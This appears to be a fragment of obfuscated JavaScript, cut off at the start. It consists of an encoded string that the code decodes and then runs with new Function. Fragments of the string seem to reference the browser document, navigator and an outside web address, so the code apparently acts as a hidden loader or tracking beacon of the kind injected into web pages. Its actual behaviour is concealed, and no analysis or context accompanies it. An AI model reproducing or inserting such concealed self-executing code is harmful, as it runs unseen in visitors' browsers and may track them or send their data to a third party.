280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();